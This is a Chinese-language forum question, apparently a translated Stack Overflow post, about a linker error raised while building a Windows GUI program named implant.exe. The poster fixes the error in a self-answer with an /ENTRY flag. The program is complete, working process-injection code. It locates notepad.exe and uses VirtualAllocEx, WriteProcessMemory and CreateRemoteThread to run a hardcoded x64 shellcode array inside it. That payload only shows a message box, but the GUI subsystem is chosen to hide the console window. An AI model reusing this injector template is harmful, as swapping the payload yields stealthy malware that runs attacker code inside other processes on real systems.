所以我想编译一个基本上是带有 SUBSYSTEM:WINDOWS 的 WINDOWS 程序的程序,一切看起来都正确,但给了我错误:
此处完全错误 -> LIBCMT.lib(exe_winmain.obj) : 错误 LNK2019: 函数“int __cdecl __scrt_common_main_seh(void)”中引用了无法解析的 WinMain 外部符号 (?__scrt_common_main_seh@@YAHXZ) implant.exe:致命错误 LNK1120:1 无法解析的外部
这是我要编译的程序,是一个在正在运行的进程(notepad.exe)上注入shellcode并简单地弹出一个消息框的程序:
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <tlhelp32.h>
#include <stdlib.h>
#pragma comment(lib, "user32.lib")
unsigned char payload[] = "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
"\x8d\x8d\x21\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
"\x00\x3e\x4c\x8d\x85\x1b\x01\x00\x00\x48\x31\xc9\x41\xba"
"\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x6f\x6c\x61\x2c\x71\x75\x65\x20\x74\x61"
"\x6c\x00\x67\x68\x30\x73\x74\x00\x75\x73\x65\x72\x33\x32"
"\x2e\x64\x6c\x6c\x00";
unsigned int payload_len = sizeof(payload);
int FindTarget(const char *procname){
HANDLE hSnap = NULL;
int pid = 0;
PROCESSENTRY32 pe32;
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnap, &pe32)) {
CloseHandle(hSnap);
return 0;
}
while (Process32Next(hSnap, &pe32)) {
if (strcmp(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hSnap);
return pid;
}
int Inject(HANDLE hProc, unsigned char * payload, size_t payload_len){
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, NULL);
hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hProc, INFINITE);
CloseHandle(hThread);
return 0;
}
return -1;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
int pid = 0;
pid = FindTarget("notepad.exe");
if (pid) {
// printf("notepad.exe pid = %ld\n", pid);
HANDLE hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid);
// HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD) pid);
if (hProc != NULL) {
Inject(hProc, payload, payload_len);
CloseHandle(hProc);
}
}
return -1;
}
如您所见,我按原样声明了 WinMain 函数并使用以下命令进行编译:
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:WINDOWS /MACHINE:X64
我想将其编译为 Windows/GUI 程序的主要目的是因为这是我按照课程进行的程序,基本上隐藏了运行时弹出的 cmd 窗口。 如果有人对此有答案,请先谢谢您。
我在这里找到了问题的解决方案:):__scrt_common_main_seh 是什么/在哪里?
它基本上说你必须添加链接器标志“/ENTRY”。因此,如果您调用函数 WinMain 添加 /ENTRY:WinMainCRTStartup。